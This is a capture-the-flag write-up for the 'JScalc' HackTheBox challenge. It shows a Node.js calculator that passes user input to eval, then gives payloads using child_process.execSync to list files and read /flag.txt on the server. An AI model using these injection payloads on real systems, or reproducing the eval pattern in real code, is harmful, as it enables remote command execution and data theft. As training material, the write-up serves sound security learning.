JScalc â
Challenge description â
In the mysterious depths of the digital sea, a specialized JavaScript calculator has been crafted by tech-savvy squids. With multiple arms and complex problem-solving skills, these cephalopod engineers use it for everything from inkjet trajectory calculations to deep-sea math. Attempt to outsmart it at your own risk! ðŠ
Challenge overview â
The challenge presents us with a web application that features a JavaScript calculator. Users can input formulas, which the application evaluates and returns the result.
How it works â
Clicking the Calculate button sends a POST
request to the /api/calculate
endpoint, where the following server-side code processes the formula:
module.exports = {
calculate(formula) {
try {
return eval(`(function() { return ${formula} ;}())`);
} catch (e) {
if (e instanceof SyntaxError) {
return 'Something went wrong!';
}
}
}
}
Key Observations:
- The application uses the
eval
function to evaluate user-provided input. - The formula is executed within a function context, meaning arbitrary JavaScript can potentially be executed.
This reliance on eval
makes the application vulnerable to Server-Side JavaScript Injection (SSJI), allowing us to execute arbitrary JavaScript code on the server.
Exploitation â
To confirm SSJI, we inject:
process.platform
The response includes the server's platform linux
, it confirms the vulnerability.
Using Node.jsâs require
function, we can execute arbitrary system commands through the child_process
module. For instance:
List files in the directory:
jsrequire('child_process').execSync('ls').toString()
Retrieve the flag:
jsrequire('child_process').execSync('cat /flag.txt').toString()
After injecting the payload, the server processes the request, and the response includes the contents of the flag.txt
file.
With the fake flag retrieved, we can use the same technique to get the real flag on the HTB server.
jscalc has been Pwned!
Congratulations
0bytes, best of luck in capturing flags ahead!